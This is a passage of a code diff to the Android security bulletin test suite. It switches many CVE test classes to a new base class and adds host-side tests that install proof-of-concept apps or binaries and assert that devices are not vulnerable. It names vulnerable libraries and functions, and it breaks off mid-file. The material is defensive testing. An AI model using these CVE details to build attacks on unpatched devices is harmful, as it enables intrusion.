- int height = displaySize[1];
-
- /* Give a tap command for center of screen */
- AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- /* Un-install the app after the test */
- AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Detection of crash pattern in the logs */
- String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
- Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
- assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
- }
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ getDevice());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1..5a7ec8d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9..eb74b20 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
import android.platform.test.annotations.RequiresDevice;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import java.util.regex.Pattern;
import org.junit.Assert;
import org.junit.Before;
@@ -33,7 +33,7 @@
import static org.junit.Assume.assumeTrue;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..29fd2b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-0642.apk";
+ static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @Before
+ public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ uninstallPackage(device, TEST_PKG);
+ }
+
+ /**
+ * b/185126149
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testPocCVE_2021_0642() throws Exception {
+ installPackage(TEST_APP);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b..26bba4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Assert;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0685.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
index 9b592bd..bf261fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
@@ -38,7 +38,7 @@
* Test installs sample app and then tries to overwrite *.apk file
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0691 extends BaseHostJUnit4Test {
+public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0691";
private static final String TEST_APP = "CVE-2021-0691.apk";
private static final String DEVICE_TMP_DIR = "/data/local/tmp/";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
index 5f13cf6..2b7ad14 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -19,13 +19,13 @@
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0693 extends BaseHostJUnit4Test {
+public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index c46bede..fabaf89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.Before;
import org.junit.runner.RunWith;
import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends BaseHostJUnit4Test {
+public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 27900e1..760c265 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
import android.util.Log;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.log.LogUtil.CLog;
import org.junit.After;
import org.junit.Assert;
@@ -30,7 +30,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends BaseHostJUnit4Test {
+public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
new file mode 100644
index 0000000..ecb6bdd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 184046278)
+ @Test
+ public void testPocCVE_2021_0953() throws Exception {
+ final String TEST_PKG = "android.security.cts.CVE_2021_0953";
+ final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ final String TEST_APP = "CVE-2021-0953.apk";
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index a242904..65934f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -16,18 +16,20 @@
package android.security.cts;
-import static org.junit.Assert.assertFalse;
+
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends BaseHostJUnit4Test {
+public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0965.apk";
@@ -45,10 +47,6 @@
@Test
public void testPocCVE_2021_0965() throws Exception {
installPackage(TEST_APP, new String[0]);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission");
- String errorLog = "Vulnerable to b/194300867 !!";
- String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice());
- Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE);
- assertFalse(pattern.matcher(logcat).find());
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"));
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
new file mode 100644
index 0000000..3b12ce5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_APP = "CVE-2021-39626.apk";
+ static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
+ static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+ @AsbSecurityTest(cveBugId = 194695497)
+ @Test
+ public void testPocCVE_2021_39626() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage(TEST_APP, "-t");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
new file mode 100644
index 0000000..6cac004
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39664 extends SecurityTestCase {
+
+ /**
+ * b/203938029
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libandroidfw (As per AOSP code)
+ * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 203938029)
+ @Test
+ public void testPocCVE_2021_39664() throws Exception {
+ String inputFiles[] = {"cve_2021_39664"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39664";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw",
+ "android::LoadedPackage::Load"));
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
new file mode 100644
index 0000000..519bd24
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39665 extends SecurityTestCase {
+
+ /**
+ * b/204077881
+ * Vulnerability Behavior: SIGSEGV in self
+ * Vulnerable Library: libmediaplayerservice (As per AOSP code)
+ * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 204077881)
+ @Test
+ public void testPocCVE_2021_39665() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-39665";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice",
+ "android::AAVCAssembler::checkSpsUpdated"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
similarity index 64%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 43a058c..8f12b52 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -17,21 +17,26 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2021_39675 extends SecurityTestCase {
- /**
- * b/174738029
- *
+ /**
+ * b/205729183
+ * Vulnerability Behavior: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 174738029)
+ @AsbSecurityTest(cveBugId = 205729183)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2021_39675() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(),
+ AdbUtils.TIMEOUT_SEC);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
new file mode 100644
index 0000000..444f1a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 209611539)
+ @Test
+ public void testPocCVE_2021_39692() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39692";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39692.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
new file mode 100644
index 0000000..acc6a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+
+ /**
+ * b/201645790
+ * This test is related to
+ * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java"
+ */
+ @AsbSecurityTest(cveBugId = 201645790)
+ @Test
+ public void testPocCVE_2021_39700() throws Exception {
+ ITestDevice device = getDevice();
+ assumeTrue("Failed to unroot the device", device.disableAdbRoot());
+ String procUdp6File = "/proc/net/udp6";
+ File tempFile = File.createTempFile("CVE_2021_39700", "temp");
+ assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile));
+ tempFile.deleteOnExit();
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
new file mode 100644
index 0000000..d92af4d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39702 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-39702.apk";
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 205150380)
+ @Test
+ public void testPocCVE_2021_39702() throws Exception {
+ ITestDevice device = getDevice();
+ uninstallPackage(device, TEST_PKG);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
new file mode 100644
index 0000000..e2d88bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
